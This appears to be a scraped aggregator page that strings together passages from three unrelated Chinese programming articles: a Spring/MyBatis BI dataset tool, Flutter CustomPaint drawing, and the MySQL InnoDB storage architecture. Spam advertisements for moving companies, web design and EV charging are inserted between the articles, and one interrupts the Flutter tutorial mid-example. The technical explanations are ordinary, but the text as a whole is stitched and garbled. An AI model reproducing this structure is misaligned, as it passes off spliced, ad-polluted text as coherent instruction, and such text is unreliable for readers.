    <select id="sumAll" resultType="java.lang.Double">
        SELECT SUM(sales_amount) FROM vc_product_info
    </select>

    <!-- 分組求和 -->
    <select id="groupSum" resultType="java.util.Map">
        SELECT product_sort,SUM(sales_amount) FROM vc_product_info GROUP BY product_sort
    </select>

    <!-- 平均單價 -->
    <select id="average" resultType="java.lang.Double">
        SELECT AVG(price) FROM vc_product_info
    </select>
</mapper>

四、自定義工具

1、數據集

數據集概念

DataSet是一個數據的集合，通常以列表形式出現。每一列代表一個特定變量。每一行都對應於某一成員的數據集的問題。在統計分析的業務中，通常稱為大寬表，方便業務分析。

數據集生成

視圖方式

基於視圖的方式，生成一個單表的數據集，方便簡化操作。該方式不提倡，視圖在大部分公司里是禁止使用的，這裏只是單純演示。

基於上述產品信息表和維度表，通過視圖手段生成數據集，單純為了簡化業務分析的操作難度，因為多表聯合簡化成感覺上的單表。

CREATE OR REPLACE 
VIEW data_set_view AS SELECT
	t1.*, t2.place_origin,
	t2.weight,
	t2.color,
	t2.high_praise,
	t2.low_praise
FROM vc_product_info t1
LEFT JOIN vc_product_detail t2 ON t1.id = t2.product_id

任務方式

通過定時任務，獲取要分析的數據結構，不斷注入到分析表中，這是業務開發中最常見的報表數據集生成方式，有的甚至通過定時任務直接統計出報表需要的數據，不適應於大數據場景。

離線或實時計算

通過大數據分析手段，離線計算或者實時計算，獲取業務報表數據，注入OLAP實時分析計算庫，使用大數據分析場景。

2、定製化BI工具

BI工具可以快速對業務數據進行有效的整合，快速準確的提供報表並提出決策依據，幫助企業做出明智的業務經營決策。商業智能的概念最早在1996年提出。當時將商業智能定義為一類由數據倉庫（或數據集市）、查詢報表、數據分析、數據挖掘、數據備份和恢復等部分組成的、以幫助企業決策為目的技術及其應用。

基本搭建思路：

• 管理數據源，建立數據表之間關係，維護特定數據集；
• 創建可拖拉拽的報告面板，用來承載單個圖表組合；
• 封裝不同的圖表的處理邏輯，規則展示，關聯數據集字段；
• 封裝圖表樣式，例如大小、顏色、背景、交互等可配置；
• 圖表關聯分析數據集，報告面板組合多個圖表生成報告；

實際的開發過程是非常複雜的，管理各個業務線的數據源，聯合分析，適配各種圖表規範和樣式，都是一個十分漫長的過程。

3、基礎案例

接口入參

承接上述業務場景，這裏參數都需要動態傳入，例如操作的：數據集、圖表、參數歸屬軸、或者業務產品參數等。

@RestController
public class DefineController {

    @Resource
    private DataSetService dataSetService ;
    /**
     * 自定義可視化報告入參
     */
    @GetMapping("/getDefChart")
    public Map<Integer, List<ChartParam>> getDefChart (){
        List<ChartParam> chartParamList = new ArrayList<>() ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_sort")) ;
        chartParamList.add(new ChartParam("X",1,"data_set_view","product_name")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","high_praise")) ;
        chartParamList.add(new ChartParam("Y",2,"data_set_view","low_praise")) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","inventory",1)) ;
        chartParamList.add(new ChartParam("Z",3,"data_set_view","total_sales",1)) ;
        return dataSetService.analyData(chartParamList);
    }
}

參數解析

根據各種動態參數，解析查詢條件，獲取查詢結果。

@Service
public class DataSetServiceImpl implements DataSetService {

    @Resource
    private DataSetMapper dataSetMapper ;
    // 分析任務劃分
    @Override
    public Map<Integer, List<ChartParam>> analyData(List<ChartParam> chartParamList) {
        Map<Integer, List<ChartParam>> dataMap = chartParamList.stream()
                                                 .collect(Collectors
                                                 .groupingBy(ChartParam::getDataType));
        for (Integer dataType:dataMap.keySet()){
            switch (dataType){
                case 1: // Count 風格數據
                    taskCount(dataMap.get(dataType));
                    break;
                case 2: // Sum 風格數據
                    taskSum(dataMap.get(dataType));
                    break;
                case 3: // Percent 風格數據
                    taskPercent(dataMap.get(dataType));
                    break;
                default:
                    break;
            }
        }
        return dataMap ;
    }
    // Count 數據執行
    private void taskCount (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskCount(chartParam.getColumnName(),
                                                            chartParam.getTableName()));
        }
    }
    // Sum 數據執行
    private void taskSum (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskSum(chartParam.getColumnName(),
                                                          chartParam.getTableName()));
        }
    }
    // Percent 數據執行
    private void taskPercent (List<ChartParam> chartParamList){
        for (ChartParam chartParam:chartParamList){
            chartParam.setResultNum(dataSetMapper.taskPercent(chartParam.getColumnName(),
                                                              chartParam.getTableName(),
                                                              chartParam.getProductId()));
        }
    }
}

總結一句：數據可視化工具建設是個漫長過程，不僅僅可以分析自己公司的業務，也可以作為開放BI工具產生價值。

五、源代碼地址

GitHub·地址
https://github.com/cicadasmile/data-manage-parent
GitEE·地址
https://gitee.com/cicadasmile/data-manage-parent

推薦閱讀：《架構設計系列》，蘿蔔青菜，各有所需

序號	標題
01	架構設計：單服務.集群.分佈式，基本區別和聯繫
02	架構設計：分佈式業務系統中，全局ID生成策略
03	架構設計：分佈式系統調度，Zookeeper集群化管理
04	架構設計：接口冪等性原則，防重複提交Token管理
05	架構設計：緩存管理模式，監控和內存回收策略

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸，發現這些先進的國家已經早就讓電動車優先上路，而且先進國家空氣品質相當好，電動車節能減碳可以減少空污

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等，多角化經營並具有國際觀的永續理念。

老孟導讀：CustomPaint可以稱之為動畫鼻祖，它可以實現任何酷炫的動畫和效果。CustomPaint本身沒有動畫屬性，僅僅是繪製屬性，一般情況下，CustomPaint會和動畫控制配合使用，達到理想的效果。

基本用法

CustomPaint的用法非常簡單，如下：

CustomPaint(
  painter: MyCustomPainter(),
)

MyCustomPainter定義如下：

class MyCustomPainter extends CustomPainter {
  @override
  void paint(Canvas canvas, Size size) {}

  @override
  bool shouldRepaint(MyCustomPainter oldDelegate) {
    return this != oldDelegate;
  }
}

上面的MyCustomPainter為了看起來清晰，什麼也沒有做，通常情況下，在paint方法內繪製自定義的效果。shouldRepaint方法通常在當前實例和舊實例屬性不一致時返回true。

paint通過canvas繪製，size為當前控件的大小，下面看看canvas的方法。

繪製點

Paint _paint = Paint()
    ..color = Colors.red
    ..strokeWidth = 3;

  @override
  void paint(Canvas canvas, Size size) {
    var points = [
      Offset(0, 0),
      Offset(size.width / 2, size.height / 2),
      Offset(size.width, size.height),
    ];
    canvas.drawPoints(PointMode.points, points, _paint);
  }

PointMode有3種模式：

• points：點
• lines：將2個點繪製為線段，如果點的個數為奇數，最後一個點將會被忽略
• polygon：將整個點繪製為一條線

繪製線

canvas.drawLine(Offset(0, 0),Offset(size.width, size.height), _paint);

繪製路徑

Paint _paint = Paint()
  ..color = Colors.red
  ..style = PaintingStyle.stroke
  ..strokeWidth = 3;

@override
void paint(Canvas canvas, Size size) {
  print('size:$size');
  var _path = Path()
    ..moveTo(0, 0)
    ..lineTo(size.width, 0)
    ..lineTo(size.width, size.height)
  ..close();
  canvas.drawPath(_path, _paint);
}

這裏注意Paint.style，還可以設置為PaintingStyle.fill，效果如下：

此時Path的路徑不要在一條直線上，否則會看不到效果。

繪製各種形狀

繪製圓形

canvas.drawCircle(Offset(size.width/2, size.height/2), 20, _paint);

繪製橢圓

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計，採用精簡與質感的CSS語法，提升企業的專業形象與簡約舒適的瀏覽體驗，讓瀏覽者第一眼就愛上她。

canvas.drawOval(Rect.fromLTRB(0, 0, size.width, size.height/2), _paint);

如果給定的Rect為正方形，那麼橢圓將會變為圓形。

繪製弧

canvas.drawArc(
    Rect.fromLTRB(0, 0, size.width, size.height), 0, pi/2, true, _paint);

繪製圓角矩形

canvas.drawRRect(
    RRect.fromLTRBR(0, 0, size.width, size.height, Radius.circular(10)), _paint)

canvas還有很多繪製函數，比如貝塞爾曲線、三次貝塞爾曲線、畫布的反轉等操作，這裏不在一一介紹。

這些函數和Android的Canvas基本一樣，如果你有Android基礎，直接套用即可。

最後奉上一個繪製玫瑰的動畫效果:

這個效果是不是很酷炫，我們看下繪製花骨朵代碼：

///
/// 繪製花骨朵
///
_drawFlower(Canvas canvas, Size size) {
  //將花變為紅色
  if (flowerPaths.length >= RoseData.flowerPoints.length) {
    var path = Path();
    for (int i = 0; i < flowerPaths.length; i++) {
      if (i == 0) {
        path.moveTo(flowerPaths[i].dx, flowerPaths[i].dy);
      } else {
        path.lineTo(flowerPaths[i].dx, flowerPaths[i].dy);
      }
    }
    _paint.style = PaintingStyle.fill;
    _paint.color = _flowerColor;
    canvas.drawPath(path, _paint);
  }
  //繪製線
  _paint.style = PaintingStyle.stroke;
  _paint.color = _strokeColor;
  //去掉最後2個點，最後2個點為了繪製紅色
  var points = flowerPaths.sublist(0, max(0, flowerPaths.length - 2));
  canvas.drawPoints(PointMode.polygon, points, _paint);
}

花骨朵的繪製只通過canvas.drawPath就實現了，其實整個玫瑰花的繪製都是通過canvas.drawPath加上動畫控制實現的。

CustomPaint可以實現任何你想要的動畫的效果，比如繪畫版就可以通過此控件實現。

獲取完整代碼方式掃碼下方二維碼回復：rose

交流

老孟Flutter博客地址（近200個控件用法）：http://laomengit.com

歡迎加入Flutter交流群（微信：laomengit）、關注公眾號【老孟Flutter】：

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

※台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗，提供免費估價且流程透明更是5星評價的搬家公司

提起MySQL，其實網上已經有一大把教程了，為什麼我還要寫這篇文章呢，大概是因為網上很多網站都是比較零散，而且描述不夠直觀，不能系統對MySQL相關知識有一個系統的學習，導致不能形成知識體系。為此我撰寫了這篇文章，試圖讓這些底層架構相關知識更加直觀易懂：

• 盡量以圖文的方式描述技術原理；
• 涉及到關鍵的技術，附加官網或者技術書籍來源，方便大家進一步擴展學習；
• 涉及到的背景知識盡可能做一個交代，比如討論到log buffer的刷盤方式，延伸一下IO寫磁盤相關知識點。

好了，MySQL從不會到精通系列馬上就要開始了（看完之後還是不會的話..請忽略這句話）。

可能會有同學問：為啥不直接學更加先進的TiDB，或者是強大的OceanBase。

其實，MySQL作為老牌的應用場景廣泛的關係型開源數據庫，其底層架構是很值得我們學習的，吸收其設計精華，那麼我們在平時的方案設計工作中也可以借鑒，如果項目中用的是MySQL，那麼就能夠把數據庫用的更好了，了解了MySQL底層的執行原理，對於調優工作也是有莫大幫助的。本文我重點講述MySQL底層架構，涉及到：

• 內存結構：buffer pool、log buffer、change buffer，buffer pool的頁淘汰機制是怎樣的；
• 磁盤結構：系統表空間、獨立表空間、通用表空間、undo表空間、redo log；
• 以及IO相關底層原理、查詢SQL執行流程、數據頁結構和行結構描述、聚集索引和輔助索引的底層數據組織方式、MVCC多版本併發控制的底層實現原理，以及可重複讀、讀已提交是怎麼通過MVCC實現的。

看完文本文，您將了解到：

1. 整體架構：InnoDB存儲架構是怎樣的 (1、MySQL架構)
2. 工作原理：查詢語句的底層執行流程是怎樣的 (2、查詢SQL執行流程)
3. IO性能：文件IO操作寫磁盤有哪幾種方式，有什麼IO優化方式 (3.1.2、關於磁盤IO的方式)
4. 緩存：InnoDB緩存(buffer pool, log buffer)的刷新方式有哪些（3.1.2.2、innodb_flush_method）
5. 緩存：log buffer是在什麼時候寫入到磁盤的（3.10.2、如何保證數據不丟失 – 其中第四步log buffer持久化到磁盤的時機為）
6. 緩存：為什麼redo log prepare狀態也要寫磁盤？（3.10.2、如何保證數據不丟失 – 為什麼第二步redo log prepare狀態也要寫磁盤？）
7. 緩存：臟頁寫盤一般發生在什麼時候（3.10.2、如何保證數據不丟失 – 其中第五步：臟頁刷新到磁盤的時機為）
8. 緩存：為什麼唯一索引的更新不可以藉助change buffer（3.2、Change Buffer）
9. 緩存：log buffer的日誌刷盤控制參數innodb_flush_log_at_trx_commit對寫性能有什麼影響（3.4.1、配置參數）
10. 緩存：buffer pool的LRU是如何實現的，為什麼要這樣實現（3.1.1、緩衝池LRU算法）
11. 表存儲：系統表空間的結構，MySQL InnoDB磁盤存儲格式，各種表空間(系統表空間，獨立表空間，通用表空間)的作用和優缺點是什麼，ibdata、ibd、frm文件分別是幹嘛的（3.5、表空間）
12. 行字段存儲：底層頁和行的存儲格式（3.6、InnoDB底層邏輯存儲結構）
13. 行字段存儲：varchar，null底層是如何存儲的，最大可用存儲多大的長度（3.6.3.1、MySQL中varchar最大長度是多少）
14. 行字段存儲：行記錄太長了，一頁存不下，該怎麼存儲？（3.6.3.2、行記錄超過頁大小如何存儲）
15. 索引：數據庫索引的組織方式是怎樣的，明白為什麼要採用B+樹，而不是哈希表、二叉樹或者B樹（3.7、索引 – 為什麼MySQL使用B+樹）
16. 索引：索引組織方式是怎樣的，為什麼大字段會影響表性能(查詢性能，更新性能)（3.7、索引）
17. 索引：覆蓋索引、聯合索引什麼情況下會生效（3.7.2、輔助索引）
18. 索引：什麼是索引下推，索引下推減少了哪方面的開銷？（3.7.2、輔助索引 – 索引條件下推）
19. 索引：Change Buffer對二級索引DML語句有什麼優化（3.2、Change Buffer）
20. 數據完整性：MySQL是如何保證數據完整性的，redo log、undo log和buffer pool數據完整性的關鍵作用分別是什麼（3.10.2、如何保證數據不丟失）
21. MVCC：MVCC底層是怎麼實現的，可重複讀和讀已提交是怎麼實現的（3.11.2、MVCC實現原理）
22. 雙寫緩衝區有什麼作用（3.9、Doublewrite Buffer）
23. Redo Log在一個事務中是在什麼時候寫入的？binlog和Redo Log有什麼區別？（3.10.1、Redo Log在事務中的寫入時機）

1、MySQL架構

如下圖為MySQL架構涉及到的常用組件：

2、查詢SQL執行流程

有如下錶格：

我們執行以下sql：

select * from t_user where user_id=10000;

2.1、MySQL客戶端與服務器建立連接

如下圖，建立過程：

• 客戶端通過mysql命令發起連接請求；
• 經過三次握手后與服務端建立TCP連接；
• 連接器接收到請求之後使用用戶密碼進行身份驗證；
• 驗證通過之後，獲取用戶的權限信息緩存起來，該連接後面都是基於該緩存中的權限執行sql；

對於Java應用程序來說，一般會把建立好的連接放入數據庫連接池中進行復用，只要這個連接不關閉，就會一直在MySQL服務端保持着，可以通過show processlist命令查看，如下：

注意，這裡有個Time，表示這個連接多久沒有動靜了，上面例子是656秒沒有動靜，默認地，如果超過8個小時還沒有動靜，連接器就會自動斷開連接，可以通過wait_timeout參數進行控制。

2.2、執行SQL

如下圖，執行sql：

• 服務端接收到客戶端的查詢sql之後，先嘗試從查詢緩存中查詢該sql是否已經有緩存的結果了，如果有則直接返回結果，如果沒有則執行下一步；
• 分析器拿到sql之後會嘗試對sql語句進行詞法分析和語法分析，校驗語法的正確性，通過之後繼續往下執行；
• 優化器拿到分析器的sql之後，開始繼續解析sql，判斷到需要走什麼索引，根據實際情況重寫sql，最終生成執行計劃；
• 執行器根據執行計劃執行sql，執行之前會先進行操作權限校驗；然後根據表存儲引擎調用對飲接口進行查詢數據，這裏的掃描行數就是指的接口返回的記錄數，執行器拿到返回記錄之後進一步加工，如本例子：
  • 執行器拿到select * from t_user where user_id=10000的所有記錄，在依次判斷user_name是不是等於”arthinking”，獲取到匹配的記錄。

3、InnoDB引擎架構

如下圖，為存儲引擎的架構：

其實內存中的結構不太好直接觀察到，不過磁盤的還是可以看到的，我們找到磁盤中MySQL的數據文件夾看看：

cd innodb_data_home_dir 查看MySQL 數據目錄：

|- ib_buffer_pool  // 保存緩衝池中頁面的表空間ID和頁面ID，用於重啟恢復緩衝池
|- ib_logfile0  // redo log 磁盤文件1
|- ib_logfile1  // redo log 磁盤文件2，默認情況下，重做日誌存在磁盤的這兩個文件中，循環的方式寫入重做日誌
|- ibdata1  // 系統表空間文件
|- ibtmp1  // 默認臨時表空間文件，可通過innodb_temp_data_file_path屬性指定文件位置
|- mysql/
|- mysql-bin.000001  // bin log文件
|- mysql-bin.000001  // bin log文件
...
|- mysql-bin.index  // bin log文件索引
|- mysqld.local.err  // 錯誤日誌
|- mysqld.local.pid  // mysql進程號
|- performance_schema/  // performance_schema數據庫
|- sys/  // sys數據庫
|- test/  // 數據庫文件夾
    |- db.opt  // test數據庫配置文件，包含數據庫字符集屬性
    |- t.frm  // 數據表元數據文件，不管是使用獨立表空間還是系統表空間，每個表都對應有一個
    |- t.ibd  // 數據庫表獨立表空間文件，如果使用的是獨立表空間，則一個表對應一個ibd文件，否則保存在系統表空間文件中

innodb_data_home_dir^[1]

ib_buffer_pool^[2]

ib_logfile0^[3]

ibtmp1^[4]

db.opt^[5]

接下來我們逐一來介紹。

3.1、buffer pool

buffer pool（緩衝池）是主內存中的一個區域，在InnoDB訪問表數據和索引數據的時候，會順便把對應的數據頁緩存到緩衝池中。如果直接從緩衝池中直接讀取數據將會加快處理速度。在專用服務器上，通常將80%左右的物理內存分配給緩衝池。

為了提高緩存管理效率，緩衝池把頁面鏈接為列表，使用改進版的LRU算法將很少使用的數據從緩存中老化淘汰掉。

3.1.1、緩衝池LRU算法

通過使用改進版的LRU算法來管理緩衝池列表。

當需要把新頁面存儲到緩衝池中的時候，將淘汰最近最少使用的頁面，並將新頁面添加到舊子列表的頭部。

該算法運行方式：

• 默認 3/8緩衝池用於舊子列表；
• 當新頁面如緩衝池時，首先將其插入舊子列表頭部；
• 重複訪問舊子列表的頁面，將使其移動至新子列表的頭部；
• 隨着數據庫的運行，頁面逐步移至列表尾部，緩衝池中未被方位的頁面最終將被老化淘汰。

相關優化參數：

• innodb_old_blocks_pct：控制LRU列表中舊子列表的百分比，默認是37，也就是3/8，可選範圍為5~95；
• innodb_old_blocks_time ：指定第一次訪問頁面后的時間窗口，該時間窗口內訪問頁面不會使其移動到LRU列表的最前面。默認是1000，也就是1秒。

innodb_old_blocks_time很重要，有了這1秒，對於全表掃描，由於是順序掃描的，一般同一個數據頁的數據都是在一秒內訪問完成的，不會升級到新子列表中，一直在舊子列表淘汰數據，所以不會影響到新子列表的緩存。

3.1.2、關於磁盤IO的方式

O_DIRECT是innodb_flush_method參數的一個可選值。

這裏先介紹下和數據庫性能密切相關的文件IO操作方法

3.1.2.1、文件IO操作方法

數據庫系統是基於文件系統的，其性能和設備讀寫的機制有密切的關係。

open：打開文件^[6]

int open(const char *pathname, int flags);

系統調用Open會為該進程一個文件描述符fd，常用的flags如下：

• O_WRONLY：表示我們以”寫”的方式打開，告訴內核我們需要向文件中寫入數據；
• O_DSYNC：每次write都等待物理I/O完成，但是如果寫操作不影響讀取剛寫入的數據，則不等待文件屬性更新；
• O_SYNC：每次write都等到物理I/O完成，包括write引起的文件屬性的更新；
• O_DIRECT：執行磁盤IO時繞過緩衝區高速緩存(內核緩衝區)，從用戶空間直接將數據傳遞到文件或磁盤設備，稱為直接IO（direct IO）。因為沒有了OS cache，所以會O_DIRECT降低文件的順序讀寫的效率。

write：寫文件^[7]

ssize_t write(int fd, const void *buf, size_t count);

使用open打開文件獲取到文件描述符之後，可以調用write函數來寫文件，具體表現根據open函數參數的不同而不同弄。

fsync & fdatasync：刷新文件^[8]

#include <unistd.h>

int fsync(int fd);

int fdatasync(int fd);

• fdatasync：操作完write之後，我們可以調用fdatasync將文件數據塊flush到磁盤，只要fdatasync返回成功，則可以認為數據已經寫到磁盤了；
• fsync：與O_SYNC參數類似，fsync還會更新文件metadata到磁盤；
• sync：sync只是將修改過的塊緩衝區寫入隊列，然後就返回，不等實際寫磁盤操作完成；

為了保證文件更新成功持久化到硬盤，除了調用write方法，還需要調用fsync。

大致交互流程如下圖：

更多關於磁盤IO的相關內容，可以閱讀：On Disk IO, Part 1: Flavors of IO^[9]

fsync性能問題：除了刷臟頁到磁盤，fsync還會同步文件metadata，而文件數據和metadata通常存放在磁盤不同地方，所以fsync至少需要兩次IO操作。

對fsync性能的優化建議：由於以上性能問題，如果能夠減少metadata的更新，那麼就可以使用fdatasync了。因此需要確保文件的尺寸在write前後沒有發生變化。為此，可以創建固定大小的文件進行寫，寫完則開啟新的文件繼續寫。

3.1.2.2、innodb_flush_method

innodb_flush_method定義用於將數據刷新到InnoDB數據文件和日誌文件的方法，這可能會影響I/O吞吐量。

以下是具體參數說明：

屬性	值
命令行格式	–innodb-flush-method=value
系統變量	innodb_flush_method
範圍	全局
默認值(Windows)	unbuffered
默認值(Unix)	fsync
有效值(Windows)	unbuffered, normal
有效值(Unix)	fsync, O_DSYNC, littlesync, nosync, O_DIRECT, O_DIRECT_NO_FSYNC

比較常用的是這三種：

fsync

默認值，使用fsync()系統調用來flush數據文件和日誌文件到磁盤；

O_DSYNC

由於open函數的O_DSYNC參數在許多Unix系統上都存中問題，因此InnoDB不直接使用O_DSYNC。

InnoDB用於O_SYNC 打開和刷新日誌文件，fsync()刷新數據文件。

表現為：寫日誌操作是在write函數完成，數據文件寫入是通過fsync()系統調用來完成；

O_DIRECT

使用O_DIRECT （在Solaris上對應為directio()）打開數據文件，並用於fsync()刷新數據文件和日誌文件。此選項在某些GNU/Linux版本，FreeBSD和Solaris上可用。

表現為：數據文件寫入直接從buffer pool到磁盤，不經過操作系統緩衝，日誌還是需要經過操作系統緩存；

O_DIRECT_NO_FSYNC

在刷新I/O期間InnoDB使用O_DIRECT，並且每次write操作后跳過fsync()系統調用。

此設置適用於某些類型的文件系統，但不適用於其他類型的文件系統。例如，它不適用於XFS。如果不確定所使用的文件系統是否需要fsync()（例如保留所有文件元數據），請改用O_DIRECT。

如下圖所示：

為什麼使用了O_DIRECT配置后還需要調用fsync()?

參考MySQL的這個bug：Innodb calls fsync for writes with innodb_flush_method=O_DIRECT^[10]

Domas進行的一些測試表明，如果沒有fsync，某些文件系統（XFS）不會同步元數據。如果元數據會更改，那麼您仍然需要使用fsync（或O_SYNC來打開文件）。

例如，如果在啟用O_DIRECT的情況下增大文件大小，它仍將寫入文件的新部分，但是由於元數據不能反映文件的新大小，因此如果此刻系統發生崩潰，文件尾部可能會丟失。

為此：當重要的元數據發生更改時，請繼續使用fsync或除O_DIRECT之外，也可以選擇使用O_SYNC。

MySQL從v5.6.7起提供了O_DIRECT_NO_FSYNC選項來解決此類問題。

3.2、Change Buffer

change buffer是一種特殊的數據結構，當二級索引頁(非唯一索引)不在緩衝池中時，它們會緩存這些更改 。當頁面通過其他讀取操作加載到緩衝池中時，再將由INSERT，UPDATE或DELETE操作（DML）產生的change buffer合併到buffer pool的數據頁中。

為什麼唯一索引不可以使用chage buffer？

針對唯一索引，如果buffer pool不存在對應的數據頁，還是需要先去磁盤加載數據頁，才能判斷記錄是否重複，這一步避免不了。

而普通索引是非唯一的，插入的時候以相對隨機的順序發生，刪除和更新也會影響索引樹中不相鄰的二級索引樹，通過使用合併緩衝，避免了在磁盤產生大量的隨機IO訪問獲取普通索引頁。

問題

當有許多受影響的行和許多輔助索引要更新時，change buffer合併可能需要幾個小時，在此期間，I/O會增加，可能會導致查詢效率大大降低，即使在事務提交之後，或者服務器重啟之後，change buffer合併操作也會繼續發生。相關閱讀：Section 14.22.2, “Forcing InnoDB Recovery”

3.3、自適應哈希索引

自適應哈希索引功能由innodb_adaptive_hash_index變量啟用 ，或在服務器啟動時由--skip-innodb-adaptive-hash-index禁用。

3.4、Log Buffer

log buffer(日誌緩衝區)用於保存要寫入磁盤上的log file(日誌文件)的數據。日誌緩存區的內容會定期刷新到磁盤。

日誌緩衝區大小由innodb_log_buffer_size變量定義 。默認大小為16MB。較大的日誌緩衝區可以讓大型事務在提交之前無需將redo log寫入磁盤。

如果您有更新，插入或者刪除多行的事務，嘗試增大日誌緩衝區的大小可以節省磁盤I/O。

3.4.1、配置參數

innodb_flush_log_at_trx_commit

innodb_flush_log_at_trx_commit 變量控制如何將日誌緩衝區的內容寫入並刷新到磁盤。

該參數控制是否嚴格存儲ACID還是嘗試獲取更高的性能，可以通過該參數獲取更好的性能，但是會導致在系統崩潰的過程中導致數據丟失。

可選參數：

• 0，事務提交之後，日誌只記錄到log buffer中，每秒寫一次日誌到緩存並刷新到磁盤，尚未刷新的日誌可能會丟失；
• 1，要完全符合ACID，必須使用該值，表示日誌在每次事務提交時寫入緩存並刷新到磁盤；
• 2，每次事務提交之後，日誌寫到page cache，每秒刷一次到磁盤，尚未刷新的日誌可能會丟失；

innodb_flush_log_at_timeout

innodb_flush_log_at_timeout 變量控制日誌刷新頻率。可讓您將日誌刷新頻率設置為N秒（其中N為1 ... 2700，默認值為1）

為了保證數據不丟失，請執行以下操作：

• 如果啟用了binlog，則設置：sync_binlog=1;
• innodb_flush_log_at_trx_commit=1;

配置效果如下圖所示：

3.5、表空間

一個InnoDB表及其索引可以在建在系統表空間中，或者是在一個 獨立表空間 中，或在 通用表空間。

• 當innodb_file_per_table啟用時，通常是將表存放在獨立表空間中，這是默認配置；
• 當innodb_file_per_table禁用時，則會在系統表空間中創建表；
• 要在通用表空間中創建表，請使用 CREATE TABLE ... TABLESPACE語法。有關更多信息，請參見官方文檔 14.6.3.3 General Tablespaces。

表空間概覽圖：

表空間涉及的文件

相關文件默認在磁盤中的innodb_data_home_dir目錄下：

|- ibdata1  // 系統表空間文件
|- ibtmp1  // 默認臨時表空間文件，可通過innodb_temp_data_file_path屬性指定文件位置
|- test/  // 數據庫文件夾
    |- db.opt  // test數據庫配置文件，包含數據庫字符集屬性
    |- t.frm  // 數據表元數據文件，不管是使用獨立表空間還是系統表空間，每個表都對應有一個
    |- t.ibd  // 數據庫表獨立表空間文件，如果使用的是獨立表空間，則一個表對應一個ibd文件，否則保存在系統表空間文件中

frm文件

創建一個InnoDB表時，MySQL 在數據庫目錄中創建一個.frm文件。frm文件包含MySQL表的元數據(如表定義)。每個InnoDB表都有一個.frm文件。

與其他MySQL存儲引擎不同， InnoDB它還在系統表空間內的自身內部數據字典中編碼有關表的信息。MySQL刪除表或數據庫時，將刪除一個或多個.frm文件以及InnoDB數據字典中的相應條目。

因此，在InnoDB中，您不能僅通過移動.frm 文件來移動表。有關移動InnoDB 表的信息，請參見官方文檔14.6.1.4 Moving or Copying InnoDB Tables。

ibd文件

對於在獨立表空間創建的表，還會在數據庫目錄中生成一個 .ibd表空間文件。

在通用表空間中創建的表在現有的常規表空間 .ibd文件中創建。常規表空間文件可以在MySQL數據目錄內部或外部創建。有關更多信息，請參見官方文檔14.6.3.3 General Tablespaces。

ibdata文件

系統表空間文件，在 InnoDB系統表空間中創建的表在ibdata中創建。

3.5.1、系統表空間

系統表空間由一個或多個數據文件(ibdata文件)組成。其中包含與InnoDB相關對象有關的元數據（InnoDB 數據字典 data dictionary），以及更改緩衝區（change buffer）， 雙寫緩衝區（doublewrite buffer）和撤消日誌（undo logs）的存儲區 。

InnoDB 如果表是在系統表空間中創建的，則系統表空間中也包含表的表數據和索引數據。

系統表空間的問題

在MySQL 5.6.7之前，默認設置是將所有InnoDB表和索引保留 在系統表空間內，這通常會導致該文件變得非常大。因為系統表空間永遠不會縮小，所以如果先加載然後刪除大量臨時數據，則可能會出現存儲問題。

在MySQL 5.7中，默認設置為 獨立表空間模式，其中每個表及其相關索引存儲在單獨的 .ibd文件中。此默認設置使使用Barracuda文件格式的InnoDB功能更容易使用，例如表壓縮，頁外列的有效存儲以及大索引鍵前綴（innodb_large_prefix）。

將所有表數據保留在系統表空間或單獨的 .ibd文件中通常會對存儲管理產生影響。

InnoDB在MySQL 5.7.6中引入了通用表空間^[11]，這些表空間也由.ibd文件表示 。通用表空間是使用CREATE TABLESPACE語法創建的共享表空間。它們可以在MySQL數據目錄之外創建，能夠容納多個表，並支持所有行格式的表。

3.5.2、獨立表空間

MySQL 5.7中，配置參數：innodb_file_per_table，默認處於啟用狀態，這是一個重要的配置選項，會影響InnoDB文件存儲，功能的可用性和I/O特性等。

啟用之後，每個表的數據和索引是存放在單獨的.ibd文件中的，而不是在系統表空間的共享ibdata文件中。

優點

• 您可以更加靈活的選擇數據壓縮^[12]的行格式，如：
  • 默認情況下（innodb_page_size=16K），前綴索引^[13]最多包含768個字節。如果開啟innodb_large_prefix，且Innodb表的存儲行格式為 DYNAMIC 或 COMPRESSED，則前綴索引最多可包含3072個字節，前綴索引也同樣適用；
• TRUNCATE TABLE執行的更快，並且回收的空間不會繼續保留，而是讓操作系統使用；
• 可以在單獨的存儲設備上創建每表文件表空間數據文件，以進行I / O優化，空間管理或備份。請參見 14.6.1.2 Creating Tables Externally；

缺點

• 獨立表空間中的未使用空間只能由同一個表使用，如果管理不當，會造成空間浪費；
• 多個表需要刷盤，只能執行多次fsync，無法合併多個表的寫操作，這可能會導致更多的fsync操作總數；
• mysqld必須為每個表文件空間保留一個打開的文件句柄，如果表數量多，可能會影響性能；
• 每個表都需要自己的數據文件，需要更多的文件描述符；

即使啟用了innodb_file_per_table參數，每張表空間存放的只是數據、索引和插入緩存Bitmap頁，其他數據如回滾信息、插入緩衝索引頁、系統事務信息、二次寫緩衝等還是存放在原來的共享表空間中。

3.5.3、通用表空間

通用表空間使用CREATE TABLESPACE語法創建。

類似於系統表空間，通用表空間是共享表空間，可以存儲多個表的數據。

通用表空間比獨立表空間具有潛在的內存優勢，服務器在表空間的生存期內將表空間元數據保留在內存中。一個通用表空間通常可以存放多個表數據，消耗更少的表空間元數據內存。

數據文件可以放置在MySQL數據目錄或獨立於MySQL數據目錄。

3.5.4、undo表空間

undo表空間包含undo log。

innodb_rollback_segments變量定義分配給每個撤消表空間的回滾段的數量。

undo log可以存儲在一個或多個undo表空間中，而不是系統表空間中。

在默認配置中，撤消日誌位於系統表空間中。SSD存儲更適合undo log的I/O模式，為此，可以把undo log存放在有別於系統表空間的ssd硬盤中。

